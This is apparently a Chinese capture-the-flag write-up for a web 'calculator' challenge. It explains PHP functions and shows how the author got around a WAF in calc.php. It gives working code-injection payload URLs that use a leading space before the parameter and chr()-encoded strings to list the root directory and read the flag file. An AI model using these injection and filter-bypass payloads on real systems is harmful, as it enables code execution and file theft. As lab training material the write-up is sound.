打开是一个计算器
输入会出现结果。
看名字有clac,我还查了一下calc函数
calc() 函数用于动态计算长度值。
- 需要注意的是,运算符前后都需要保留一个空格,例如:
width: calc(100% - 10px)
;- 任何长度值都可以使用calc()函数进行计算;
- calc()函数支持 "+", "-", "*", "/" 运算;
- calc()函数使用标准的数学运算优先级规则;
不过对写题没什么帮助,就当课外知识吧
查看源码发现提示
WAF是什么呢,查阅资料:
Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。利用国际上公认的一种说法:Web应用防火墙是通过执行一系列针对HTTP/HTTPS的安全策略来专门为Web应用提供保护的一款产品。
根据我的理解,应该是一个类似与防火墙的东西
查看一下calc.php文件,可以得知被过滤的字符
scandir():列出目录中的文件和目录
// 以升序排序 - 默认
$a = scandir($dir);
// 以降序排序
$b = scandir($dir,1);
chr():从不同的 ASCII 值返回字符
因为/被过滤 所以使用chr(47)来替代
构造payload
http://node4.buuoj.cn:25834/calc.php?num=print_r(scandir(chr(47)))
发现num不能传递字符,利用空格绕过
在num前加一个空格,进行目录读取
http://node4.buuoj.cn:25834/calc.php? num=print_r(scandir(chr(47)))
file_get_contents():把整个文件读入一个字符串中
用法:file_get_contents(path,include_path,context,start,max_length)
参数 | 描述 |
---|---|
path | 必需。规定要读取的文件。 |
include_path | 可选。如果您还想在 include_path(在 php.ini 中)中搜索文件的话,请设置该参数为 '1'。 |
context | 可选。规定文件句柄的环境。context 是一套可以修改流的行为的选项。若使用 NULL,则忽略。 |
start | 可选。规定在文件中开始读取的位置。该参数是 PHP 5.1 中新增的。 |
max_length | 可选。规定读取的字节数。该参数是 PHP 5.1 中新增的。 |
因为引号也被过滤了,所以flagg也需要使用chr函数
构造payload
http://node4.buuoj.cn:25834/calc.php? num=print_r(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))
得到flag